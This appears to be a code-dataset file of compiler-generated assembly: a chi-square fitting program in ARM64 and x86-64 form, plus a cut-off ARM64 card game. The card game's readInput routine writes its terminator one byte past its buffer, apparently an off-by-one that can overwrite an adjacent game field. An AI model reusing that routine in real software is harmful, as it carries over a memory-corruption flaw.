.quad 0x4030000000000000 ; double 16
.quad 0x403e000000000000 ; double 30
.quad 0x4043000000000000 ; double 38
.quad 0x4051800000000000 ; double 70
.globl _sig ; @sig
.p2align 3
_sig:
.quad 0x4000000000000000 ; double 2
.quad 0x4000000000000000 ; double 2
.quad 0x4008000000000000 ; double 3
.quad 0x4008000000000000 ; double 3
.quad 0x4010000000000000 ; double 4
.quad 0x4014000000000000 ; double 5
.quad 0x4014000000000000 ; double 5
.globl _b ; @b
.p2align 3
_b:
.quad 0x3fdfdf3b645a1cac ; double 0.498
.globl _n ; @n
.p2align 2
_n:
.long 7 ; 0x7
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "fora.txt"
l_.str.1: ; @.str.1
.asciz "w"
l_.str.2: ; @.str.2
.asciz "%lf\t%lf\n"
l_.str.3: ; @.str.3
.asciz "value of minimum chi square: %lf\n"
l_.str.4: ; @.str.4
.asciz "for min Chi square and given b= %.3lf value of a= %.3lf\n"
l_.str.5: ; @.str.5
.asciz "for value of X2+1= %lf value of a= %.3lf\n"
l_.str.6: ; @.str.6
.asciz "for value of X2+4= %lf value of a= %.3lf\n"
l_.str.7: ; @.str.7
.asciz "for value of X2+9= %lf value of a= %.3lf\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _point ## -- Begin function point
.p2align 4, 0x90
_point: ## @point
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
cmpl $1, -4(%rbp)
je LBB0_8
## %bb.1:
movq -16(%rbp), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -32(%rbp)
movl $1, -24(%rbp)
LBB0_2: ## =>This Inner Loop Header: Depth=1
movl -24(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB0_7
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
ucomisd %xmm1, %xmm0
jbe LBB0_5
## %bb.4: ## in Loop: Header=BB0_2 Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -32(%rbp)
movl -24(%rbp), %eax
movl %eax, -20(%rbp)
LBB0_5: ## in Loop: Header=BB0_2 Depth=1
jmp LBB0_6
LBB0_6: ## in Loop: Header=BB0_2 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_2
LBB0_7:
jmp LBB0_8
LBB0_8:
movl -20(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function chisq
LCPI1_0:
.quad 0x4000000000000000 ## double 2
.section __TEXT,__text,regular,pure_instructions
.globl _chisq
.p2align 4, 0x90
_chisq: ## @chisq
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movsd %xmm0, -8(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -16(%rbp)
movl $0, -20(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl _n(%rip), %eax
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -32(%rbp) ## 8-byte Spill
movslq -20(%rbp), %rcx
leaq _y(%rip), %rax
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -48(%rbp) ## 8-byte Spill
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -40(%rbp) ## 8-byte Spill
movsd _b(%rip), %xmm0 ## xmm0 = mem[0],zero
movslq -20(%rbp), %rcx
leaq _x(%rip), %rax
mulsd (%rax,%rcx,8), %xmm0
callq _exp
movsd -48(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
movaps %xmm0, %xmm2
movsd -40(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movslq -20(%rbp), %rcx
leaq _sig(%rip), %rax
divsd (%rax,%rcx,8), %xmm0
movsd LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero
callq _pow
movaps %xmm0, %xmm1
movsd -32(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -16(%rbp)
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB1_1
LBB1_4:
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI2_0:
.quad 0x3ff0000000000000 ## double 1
LCPI2_1:
.quad 0x3f50624dd2f1a9fc ## double 0.001
LCPI2_2:
.quad 0x4008000000000000 ## double 3
LCPI2_3:
.quad 0x4004000000000000 ## double 2.5
LCPI2_4:
.quad 0x3f9999999999999a ## double 0.025000000000000001
LCPI2_6:
.quad 0x4022000000000000 ## double 9
LCPI2_7:
.quad 0x3f8eb851eb851eb8 ## double 0.014999999999999999
LCPI2_8:
.quad 0x4010000000000000 ## double 4
LCPI2_9:
.quad 0x3f847ae147ae147b ## double 0.01
.section __TEXT,__literal16,16byte_literals
.p2align 4
LCPI2_5:
.quad 0x7fffffffffffffff ## double NaN
.quad 0x7fffffffffffffff ## double NaN
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $160, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
movsd LCPI2_1(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -32(%rbp)
movq $0, -40(%rbp)
leaq L_.str(%rip), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -40(%rbp)
movsd LCPI2_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movsd LCPI2_2(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd -24(%rbp), %xmm0
jbe LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -40(%rbp), %rax
movq %rax, -112(%rbp) ## 8-byte Spill
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -104(%rbp) ## 8-byte Spill
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _chisq
movq -112(%rbp), %rdi ## 8-byte Reload
movaps %xmm0, %xmm1
movsd -104(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
leaq L_.str.2(%rip), %rsi
movb $2, %al
callq _fprintf
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movsd LCPI2_9(%rip), %xmm0 ## xmm0 = mem[0],zero
addsd -24(%rbp), %xmm0
movsd %xmm0, -24(%rbp)
jmp LBB2_1
LBB2_4:
movl $0, -44(%rbp)
movsd LCPI2_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp)
LBB2_5: ## =>This Inner Loop Header: Depth=1
movsd LCPI2_3(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd -24(%rbp), %xmm0
jbe LBB2_8
## %bb.6: ## in Loop: Header=BB2_5 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
## %bb.7: ## in Loop: Header=BB2_5 Depth=1
movsd LCPI2_1(%rip), %xmm0 ## xmm0 = mem[0],zero
addsd -24(%rbp), %xmm0
movsd %xmm0, -24(%rbp)
jmp LBB2_5
LBB2_8:
movl -44(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -144(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -56(%rbp)
shlq $3, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -144(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -136(%rbp) ## 8-byte Spill
movq %rax, -64(%rbp)
movl -44(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -128(%rbp) ## 8-byte Spill
shlq $3, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -128(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -120(%rbp) ## 8-byte Spill
movq %rax, -72(%rbp)
movl $0, -76(%rbp)
movsd LCPI2_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp)
LBB2_9: ## =>This Inner Loop Header: Depth=1
movsd LCPI2_3(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd -24(%rbp), %xmm0
jbe LBB2_12
## %bb.10: ## in Loop: Header=BB2_9 Depth=1
movq -120(%rbp), %rax ## 8-byte Reload
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movslq -76(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _chisq
movq -136(%rbp), %rax ## 8-byte Reload
movslq -76(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
movl -76(%rbp), %eax
addl $1, %eax
movl %eax, -76(%rbp)
## %bb.11: ## in Loop: Header=BB2_9 Depth=1
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
addsd -24(%rbp), %xmm0
movsd %xmm0, -24(%rbp)
jmp LBB2_9
LBB2_12:
movq -136(%rbp), %rsi ## 8-byte Reload
movl -44(%rbp), %edi
callq _point
movl %eax, %ecx
movq -136(%rbp), %rax ## 8-byte Reload
movl %ecx, -80(%rbp)
movslq -80(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.3(%rip), %rdi
movb $1, %al
callq _printf
## kill: def $ecx killed $eax
movq -120(%rbp), %rax ## 8-byte Reload
movsd _b(%rip), %xmm0 ## xmm0 = mem[0],zero
movslq -80(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str.4(%rip), %rdi
movb $2, %al
callq _printf
movl $0, -84(%rbp)
LBB2_13: ## =>This Inner Loop Header: Depth=1
movl -84(%rbp), %eax
cmpl -44(%rbp), %eax
jge LBB2_18
## %bb.14: ## in Loop: Header=BB2_13 Depth=1
movq -136(%rbp), %rax ## 8-byte Reload
movslq -80(%rbp), %rcx
movsd LCPI2_0(%rip), %xmm1 ## xmm1 = mem[0],zero
addsd (%rax,%rcx,8), %xmm1
movslq -84(%rbp), %rcx
subsd (%rax,%rcx,8), %xmm1
movaps LCPI2_5(%rip), %xmm0 ## xmm0 = [NaN,NaN]
pand %xmm0, %xmm1
movsd LCPI2_9(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd %xmm1, %xmm0
jb LBB2_16
## %bb.15: ## in Loop: Header=BB2_13 Depth=1
movq -120(%rbp), %rax ## 8-byte Reload
movq -136(%rbp), %rcx ## 8-byte Reload
movslq -84(%rbp), %rdx
movsd (%rcx,%rdx,8), %xmm0 ## xmm0 = mem[0],zero
movslq -84(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str.5(%rip), %rdi
movb $2, %al
callq _printf
LBB2_16: ## in Loop: Header=BB2_13 Depth=1
jmp LBB2_17
LBB2_17: ## in Loop: Header=BB2_13 Depth=1
movl -84(%rbp), %eax
addl $1, %eax
movl %eax, -84(%rbp)
jmp LBB2_13
LBB2_18:
movl $0, -88(%rbp)
LBB2_19: ## =>This Inner Loop Header: Depth=1
movl -88(%rbp), %eax
cmpl -44(%rbp), %eax
jge LBB2_24
## %bb.20: ## in Loop: Header=BB2_19 Depth=1
movq -136(%rbp), %rax ## 8-byte Reload
movslq -80(%rbp), %rcx
movsd LCPI2_8(%rip), %xmm1 ## xmm1 = mem[0],zero
addsd (%rax,%rcx,8), %xmm1
movslq -88(%rbp), %rcx
subsd (%rax,%rcx,8), %xmm1
movaps LCPI2_5(%rip), %xmm0 ## xmm0 = [NaN,NaN]
pand %xmm0, %xmm1
movsd LCPI2_7(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd %xmm1, %xmm0
jb LBB2_22
## %bb.21: ## in Loop: Header=BB2_19 Depth=1
movq -120(%rbp), %rax ## 8-byte Reload
movq -136(%rbp), %rcx ## 8-byte Reload
movslq -88(%rbp), %rdx
movsd (%rcx,%rdx,8), %xmm0 ## xmm0 = mem[0],zero
movslq -88(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str.6(%rip), %rdi
movb $2, %al
callq _printf
LBB2_22: ## in Loop: Header=BB2_19 Depth=1
jmp LBB2_23
LBB2_23: ## in Loop: Header=BB2_19 Depth=1
movl -88(%rbp), %eax
addl $1, %eax
movl %eax, -88(%rbp)
jmp LBB2_19
LBB2_24:
movl $0, -92(%rbp)
LBB2_25: ## =>This Inner Loop Header: Depth=1
movl -92(%rbp), %eax
cmpl -44(%rbp), %eax
jge LBB2_30
## %bb.26: ## in Loop: Header=BB2_25 Depth=1
movq -136(%rbp), %rax ## 8-byte Reload
movslq -80(%rbp), %rcx
movsd LCPI2_6(%rip), %xmm1 ## xmm1 = mem[0],zero
addsd (%rax,%rcx,8), %xmm1
movslq -92(%rbp), %rcx
subsd (%rax,%rcx,8), %xmm1
movaps LCPI2_5(%rip), %xmm0 ## xmm0 = [NaN,NaN]
pand %xmm0, %xmm1
movsd LCPI2_4(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd %xmm1, %xmm0
jb LBB2_28
## %bb.27: ## in Loop: Header=BB2_25 Depth=1
movq -120(%rbp), %rax ## 8-byte Reload
movq -136(%rbp), %rcx ## 8-byte Reload
movslq -92(%rbp), %rdx
movsd (%rcx,%rdx,8), %xmm0 ## xmm0 = mem[0],zero
movslq -92(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str.7(%rip), %rdi
movb $2, %al
callq _printf
LBB2_28: ## in Loop: Header=BB2_25 Depth=1
jmp LBB2_29
LBB2_29: ## in Loop: Header=BB2_25 Depth=1
movl -92(%rbp), %eax
addl $1, %eax
movl %eax, -92(%rbp)
jmp LBB2_25
LBB2_30:
movq -56(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -148(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_32
## %bb.31:
movl -148(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB2_32:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __DATA,__data
.globl _x ## @x
.p2align 4
_x:
.quad 0x3ff0000000000000 ## double 1
.quad 0x4000000000000000 ## double 2
.quad 0x4008000000000000 ## double 3
.quad 0x4010000000000000 ## double 4
.quad 0x4014000000000000 ## double 5
.quad 0x4018000000000000 ## double 6
.quad 0x401c000000000000 ## double 7
.globl _y ## @y
.p2align 4
_y:
.quad 0x4010000000000000 ## double 4
.quad 0x4014000000000000 ## double 5
.quad 0x4020000000000000 ## double 8
.quad 0x4030000000000000 ## double 16
.quad 0x403e000000000000 ## double 30
.quad 0x4043000000000000 ## double 38
.quad 0x4051800000000000 ## double 70
.globl _sig ## @sig
.p2align 4
_sig:
.quad 0x4000000000000000 ## double 2
.quad 0x4000000000000000 ## double 2
.quad 0x4008000000000000 ## double 3
.quad 0x4008000000000000 ## double 3
.quad 0x4010000000000000 ## double 4
.quad 0x4014000000000000 ## double 5
.quad 0x4014000000000000 ## double 5
.globl _b ## @b
.p2align 3
_b:
.quad 0x3fdfdf3b645a1cac ## double 0.498
.globl _n ## @n
.p2align 2
_n:
.long 7 ## 0x7
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "fora.txt"
L_.str.1: ## @.str.1
.asciz "w"
L_.str.2: ## @.str.2
.asciz "%lf\t%lf\n"
L_.str.3: ## @.str.3
.asciz "value of minimum chi square: %lf\n"
L_.str.4: ## @.str.4
.asciz "for min Chi square and given b= %.3lf value of a= %.3lf\n"
L_.str.5: ## @.str.5
.asciz "for value of X2+1= %lf value of a= %.3lf\n"
L_.str.6: ## @.str.6
.asciz "for value of X2+4= %lf value of a= %.3lf\n"
L_.str.7: ## @.str.7
.asciz "for value of X2+9= %lf value of a= %.3lf\n"
.subsections_via_symbols
| the_stack_data/159516687.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _shuffle ; -- Begin function shuffle
.p2align 2
_shuffle: ; @shuffle
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr x8, [x8]
str x8, [sp, #8]
str wzr, [sp, #4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
subs w8, w8, #1000
cset w8, hs
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
bl _rand
; implicit-def: $x8
mov x8, x0
sxtw x8, w8
ldr x10, [sp, #8]
udiv x9, x8, x10
mul x9, x9, x10
subs x8, x8, x9
str x8, [sp, #24]
bl _rand
; implicit-def: $x8
mov x8, x0
sxtw x8, w8
ldr x10, [sp, #8]
udiv x9, x8, x10
mul x9, x9, x10
subs x8, x8, x9
str x8, [sp, #16]
ldur x8, [x29, #-8]
add x8, x8, #16
ldr x9, [sp, #24]
add x8, x8, x9, lsl #1
ldrh w8, [x8]
sturh w8, [x29, #-10]
ldur x8, [x29, #-8]
add x8, x8, #16
ldr x9, [sp, #24]
add x9, x8, x9, lsl #1
ldur x8, [x29, #-8]
add x8, x8, #16
ldr x10, [sp, #16]
add x8, x8, x10, lsl #1
ldrh w8, [x8]
strh w8, [x9]
ldur x8, [x29, #-8]
add x8, x8, #16
ldr x9, [sp, #16]
add x9, x8, x9, lsl #1
ldurh w8, [x29, #-10]
strh w8, [x9]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_1
LBB0_4:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _checkInvalidCard ; -- Begin function checkInvalidCard
.p2align 2
_checkInvalidCard: ; @checkInvalidCard
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp]
ldr x8, [sp]
ldrsb w8, [x8]
subs w8, w8, #4
cset w8, gt
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x8, [sp]
ldrsb w8, [x8, #1]
subs w8, w8, #14
cset w8, le
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2:
mov w8, #1
str w8, [sp, #12]
b LBB1_4
LBB1_3:
str wzr, [sp, #12]
b LBB1_4
LBB1_4:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _readInput ; -- Begin function readInput
.p2align 2
_readInput: ; @readInput
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
str xzr, [sp, #8]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
bl _getchar
strb w0, [sp, #7]
sxtb w8, w0
subs w8, w8, #10
cset w8, eq
mov w9, #0
str w9, [sp] ; 4-byte Folded Spill
tbnz w8, #0, LBB2_3
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldrsb w8, [sp, #7]
adds w8, w8, #1
cset w8, ne
str w8, [sp] ; 4-byte Folded Spill
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp] ; 4-byte Folded Reload
tbz w8, #0, LBB2_7
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #8]
ldur w9, [x29, #-12]
subs w9, w9, #1
; kill: def $x9 killed $w9
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldrb w8, [sp, #7]
ldur x9, [x29, #-8]
ldr x10, [sp, #8]
add x9, x9, x10
strb w8, [x9]
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_1 Depth=1
b LBB2_1
LBB2_7:
ldur x8, [x29, #-8]
ldr x9, [sp, #8]
add x9, x9, #1
add x8, x8, x9
strb wzr, [x8]
ldr x8, [sp, #8]
mov x0, x8
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _buildDecks ; -- Begin function buildDecks
.p2align 2
_buildDecks: ; @buildDecks
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, #40]
str x1, [sp, #32]
str xzr, [sp, #24]
b LBB3_1
LBB3_1: ; =>This Loop Header: Depth=1
; Child Loop BB3_3 Depth 2
ldr x8, [sp, #24]
subs x8, x8, #6
cset w8, hs
tbnz w8, #0, LBB3_8
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
str xzr, [sp, #16]
b LBB3_3
LBB3_3: ; Parent Loop BB3_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #16]
subs x8, x8, #4
cset w8, hs
tbnz w8, #0, LBB3_6
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_3 Depth=2
ldr x8, [sp, #16]
ldr x9, [sp, #40]
add x9, x9, #24
ldr x11, [sp, #24]
ldr x10, [sp, #16]
add x10, x10, x11, lsl #2
lsl x10, x10, #1
; kill: def $w8 killed $w8 killed $x8
strb w8, [x9, x10]
ldr x8, [sp, #24]
add x8, x8, #2
ldr x9, [sp, #40]
add x9, x9, #24
ldr x11, [sp, #24]
ldr x10, [sp, #16]
add x10, x10, x11, lsl #2
add x9, x9, x10, lsl #1
; kill: def $w8 killed $w8 killed $x8
strb w8, [x9, #1]
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_3 Depth=2
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
b LBB3_3
LBB3_6: ; in Loop: Header=BB3_1 Depth=1
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #24]
add x8, x8, #1
str x8, [sp, #24]
b LBB3_1
LBB3_8:
str xzr, [sp, #8]
b LBB3_9
LBB3_9: ; =>This Loop Header: Depth=1
; Child Loop BB3_11 Depth 2
ldr x8, [sp, #8]
subs x8, x8, #6
cset w8, hs
tbnz w8, #0, LBB3_16
b LBB3_10
LBB3_10: ; in Loop: Header=BB3_9 Depth=1
str xzr, [sp]
b LBB3_11
LBB3_11: ; Parent Loop BB3_9 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp]
subs x8, x8, #4
cset w8, hs
tbnz w8, #0, LBB3_14
b LBB3_12
LBB3_12: ; in Loop: Header=BB3_11 Depth=2
ldr x8, [sp]
ldr x9, [sp, #32]
add x9, x9, #24
ldr x11, [sp, #8]
ldr x10, [sp]
add x10, x10, x11, lsl #2
lsl x10, x10, #1
; kill: def $w8 killed $w8 killed $x8
strb w8, [x9, x10]
ldr x8, [sp, #8]
add x8, x8, #9
ldr x9, [sp, #32]
add x9, x9, #24
ldr x11, [sp, #8]
ldr x10, [sp]
add x10, x10, x11, lsl #2
add x9, x9, x10, lsl #1
; kill: def $w8 killed $w8 killed $x8
strb w8, [x9, #1]
b LBB3_13
LBB3_13: ; in Loop: Header=BB3_11 Depth=2
ldr x8, [sp]
add x8, x8, #1
str x8, [sp]
b LBB3_11
LBB3_14: ; in Loop: Header=BB3_9 Depth=1
b LBB3_15
LBB3_15: ; in Loop: Header=BB3_9 Depth=1
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
b LBB3_9
LBB3_16:
ldr x8, [sp, #40]
strb wzr, [x8, #72]
ldr x9, [sp, #40]
mov w8, #8
strb w8, [x9, #73]
ldr x10, [sp, #40]
mov w9, #1
strb w9, [x10, #74]
ldr x9, [sp, #40]
strb w8, [x9, #75]
ldr x10, [sp, #32]
mov w9, #2
strb w9, [x10, #72]
ldr x9, [sp, #32]
strb w8, [x9, #73]
ldr x10, [sp, #32]
mov w9, #3
strb w9, [x10, #74]
ldr x9, [sp, #32]
strb w8, [x9, #75]
ldr x9, [sp, #40]
mov x8, #26
str x8, [x9, #8]
ldr x9, [sp, #40]
str xzr, [x9, #16]
ldr x9, [sp, #32]
str x8, [x9, #8]
ldr x8, [sp, #32]
str xzr, [x8, #16]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov x8, x0
adrp x0, _gameData@GOTPAGE
ldr x0, [x0, _gameData@GOTPAGEOFF]
str x0, [sp, #56] ; 8-byte Folded Spill
add x9, x0, #136
str x9, [sp, #24] ; 8-byte Folded Spill
add x9, x0, #200
str x9, [sp, #32] ; 8-byte Folded Spill
add x9, x0, #32
str x9, [sp, #40] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
stur w8, [x29, #-8]
stur x1, [x29, #-16]
mov x1, #304
bl _bzero
ldr x8, [sp, #56] ; 8-byte Folded Reload
mov w9, #100
str w9, [x8]
add x0, x8, #8
add x1, x8, #176
bl _buildDecks
mov x0, #0
str x0, [sp, #48] ; 8-byte Folded Spill
bl _time
; kill: def $w0 killed $w0 killed $x0
bl _srand
ldr x8, [sp, #56] ; 8-byte Folded Reload
add x0, x8, #16
bl _shuffle
ldr x8, [sp, #56] ; 8-byte Folded Reload
add x0, x8, #184
bl _shuffle
ldr x1, [sp, #48] ; 8-byte Folded Reload
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _setbuf
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldr x8, [x9, #16]
ldr x9, [x9, #184]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x8, [x8, #184]
str x8, [sp, #16] ; 8-byte Folded Spill
b LBB4_3
LBB4_2:
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x8, [x8, #16]
str x8, [sp, #16] ; 8-byte Folded Spill
b LBB4_3
LBB4_3:
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
str x8, [x9, #168]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
movi.2d v0, #0000000000000000
stur q0, [x8, #136]
stur q0, [x8, #152]
mov w1, #32
bl _readInput
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB4_5
b LBB4_4
LBB4_4:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB4_5:
ldr x8, [sp, #24] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB4_6
LBB4_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr x10, [sp, #32] ; 8-byte Folded Reload
ldr x11, [x8, #24]
stur x11, [x29, #-56]
ldr x11, [x8, #192]
str x11, [sp, #64]
ldr x11, [sp, #64]
add x10, x10, x11, lsl #1
